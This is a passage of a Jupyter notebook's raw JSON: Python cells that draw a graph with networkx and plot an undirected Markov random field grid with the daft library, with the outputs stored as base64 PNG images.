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\n87l48eLizse9ytvb2+teeuml7vnnn3c+z9jb2+t++MMfdmtra7M6m9mM58HBQXf9+vUupdRtbGx0\nr776anf//v3u4cOHT/33Hj582N2/f7+7efNmt7Gx0aWUuuvXr3cHBwcTfefDczZ5zifmbPKcT2zu\nZzOL8dzd3e22tra6zc3N7u7du93h4eGZ/neHh4fd3bt3u83NzW5ra6t74403Bv5Ox+ds8pxPzNnk\nOZ/YEs6m+fG8d+9et7a21u3s7HT7+/sr/Rn7+/vdzs5Ot7a21t27d6/fb3BCzibP+cScTZ7ziS3l\nbJoez93d3W5tba27du1ad3R0dK4/6+joqLt27Vq3trbW7e7u9vQdTsfZ5DmfmLPJcz6xJZ1Ns+P5\nt7/9rdva2up2dnbO/f+kY0dHR93Ozk63tbVV/evtOc4mz/nEnE2e84kt7WyaHc/r1693m5ub3Ycf\nftjrn7u/v99tbm52N27c6PXPHZOzyXM+MWeT53xiSzubJsfzr3/9a5dS6u7evTvIn3/nzp0updTM\nW6Y/y9nkOZ+Ys8lzPrElnk2T43nr1q1uY2Oj+/vf/z7In394eNhtbGx0t2/fHuTPH5KzyXM+MWeT\n53xiSzyb5sbz8ePH3fb2dvfqq68O+nVu3rzZbW9vd48fPx706/TJ2eQ5n5izyXM+saWeTUMtpE/8\n5S9/SR9//HH6/ve/P+jX+cEPfpA+/vjjpv7xaGeT53xizibP+cSWejbNjee7776bUkrp6tWrgVQn\nQQAABUVJREFUg36db37zm099vRY4mzznE3M2ec4nttSzaW48Dw4O0vr6evrSl7406Nf58pe/nNbX\n19PBwcGgX6dPzibP+cScTZ7ziS31bNa6rq1/Q+fHP/5x+sUvfpH+9a9/Df61Ll68mP79738P/nX6\ntLW15WwynE/M2eQ5n9iYZ/OjH/0o/exnPxv8a52muSfP559/Ph0dHY3ytY6OjtJPf/rT1H3yxqrq\n/+8nP/mJs3E+zsb5zPpsavm3dJsbz0uXLqUnT56kjz76aNCv8/Dhw/TkyZN06dKlQb9On5xNnvOJ\nOZs85xNb6tk0N55XrlxJKaX0zjvvDPp1/vSnPz319VrgbPKcT8zZ5Dmf2FLPprnx/PrXv562t7fT\n7u7uoF/nV7/6Vdre3k6XL18e9Ov0ydnkOZ+Ys8lzPrHFnk3XoCXWLM7K2eQ5n5izyXM+sSWeTXNP\nniml9Nprr6VHjx6l119/fZA///XXX0+PHj1Kr7322iB//pCcTZ7ziTmbPOcTW+TZTL3eqzou+K/6\nj61Gai34l3A2ec4n5mzynE9saWfT7HgeHBws6t+OK+Fs8pxPzNnkOZ/Y0s6m2fHsuuH+1fI33nij\np+9wOs4mz/nEnE2e84kt6WyaHs+u67p79+51a2tr3c7OzsovF+zv73c7Ozvd2tpad+/evX6/wQk5\nmzznE3M2ec4ntpSzaX48u+6T33a2tra6zc3N7s6dO93h4eGZ/neHh4fdnTt3us3NzW5ra6vK327O\ny9nkOZ+Ys8lzPrElnM0sxrPrPnm9/caNG11KqdvY2Ohu3rzZ3b9//3Ovkx8cHHT379/vbt682W1s\nbHQppe7GjRvVvZ7eJ2eT53xizibP+cTmfjazGc9je3t73e3bt7vt7e0updSllLr19fVua2urW19f\n/99/tr293d2+fbvb29ub+lsejbPJcz4xZ5PnfGJzPZvm/lWVs3ry5En64IMP0rvvvpsODg7Sf//7\n3/SFL3whXbp0KV25ciVdvnw5ra+vT/1tTsLZ5DmfmLPJcz6xuZ3NbMcTAIbSZGEIAKZkPAGgkPEE\ngELGEwAKGU8AKGQ8AaCQ8QSAQsYTAAoZTwAoZDwBoJDxBIBCxhMAChlPAChkPAGgkPEEgELGEwAK\nGU8AKGQ8AaCQ8QSAQsYTAAoZTwAoZDwBoJDxBIBCxhMAChlPAChkPAGgkPEEgELGEwAKGU8AKGQ8\nAaCQ8QSAQsYTAAoZTwAoZDwBoJDxBIBCxhMAChlPAChkPAGgkPEEgELGEwAKGU8AKGQ8AaCQ8QSA\nQsYTAAoZTwAoZDwBoJDxBIBCxhMAChlPAChkPAGgkPEEgELGEwAKGU8AKGQ8AaCQ8QSAQsYTAAoZ\nTwAoZDwBoJDxBIBCxhMAChlPAChkPAGgkPEEgELGEwAKGU8AKGQ8AaCQ8QSAQsYTAAoZTwAoZDwB\noJDxBIBCxhMAChlPAChkPAGgkPEEgELGEwAKGU8AKGQ8AaCQ8QSAQsYTAAoZTwAoZDwBoJDxBIBC\nxhMAChlPAChkPAGgkPEEgELGEwAKGU8AKGQ8AaCQ8QSAQsYTAAoZTwAoZDwBoJDxBIBCxhMAChlP\nAChkPAGgkPEEgELGEwAKGU8AKGQ8AaCQ8QSAQsYTAAoZTwAoZDwBoJDxBIBCxhMAChlPAChkPAGg\nkPEEgELGEwAKGU8AKGQ8AaCQ8QSAQsYTAAoZTwAoZDwBoJDxBIBCxhMAChlPAChkPAGgkPEEgELG\nEwAKGU8AKGQ8AaCQ8QSAQsYTAAoZTwAoZDwBoJDxBIBCxhMAChlPACj0//NdYPSnmuN0AAAAAElF\nTkSuQmCC\n", "text/plain": [ "<matplotlib.figure.Figure at 0x11aefd590>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "G = nx.Graph(A)\n", "\n", "plt.figure(figsize=(M,N))\n", "#nx.draw(G, pos, node_color=\"white\", node_size=500, labels=labels, font_size=10, arrows=True)\n", "nx.draw(G, coords, node_color='black', node_size=200, arrows=False, linewidths=14.)\n", "nx.draw_networkx_nodes(G, coords, node_color='white', node_size=200, arrows=False, linewidths=11., linecolors='black')\n", "#nx.draw_graphviz(G,node_size=500, labels=labels, font_size=24, arrows=True)\n", "plt.show()\n" ] }, { "cell_type": "code", "execution_count": 7, "metadata": { "scrolled": false }, "outputs": [ { "data": { "image/png": "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\n", "text/plain": [ "<Figure size 102.047x102.047 with 1 Axes>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "import itertools\n", "import numpy as np\n", "import matplotlib.pylab as plt\n", "import daft\n", "\n", "# Instantiate the PGM.\n", "pgm = daft.PGM([3.6, 3.6], origin=[0.7, 0.7], node_unit=0.4, grid_unit=1,\n", " directed=False)\n", "\n", "for i, (xi, yi) in enumerate(itertools.product(range(1, 5), range(1, 5))):\n", " pgm.add_node(daft.Node(str(i), \"\", xi, yi))\n", "\n", "\n", "for e in [(4, 9), (6, 7), (3, 7), (10, 11), (10, 9), (10, 14),\n", " (10, 6), (10, 7), (1, 2), (1, 5), (1, 0), (1, 6), (8, 12), (12, 13),\n", " (13, 14), (15, 11)]:\n", " pgm.add_edge(str(e[0]), str(e[1]))\n", "\n", "# Render and save.\n", "pgm.render()\n", "#pgm.figure.savefig(\"mrf.pdf\")\n", "#pgm.figure.savefig(\"mrf.png\", dpi=150)\n", "\n", "\n", "plt.show(pgm.ax)\n" ] }, { "cell_type": "code", "execution_count": 9, "metadata": { "scrolled": true }, "outputs": [ { "data": { "image/png": 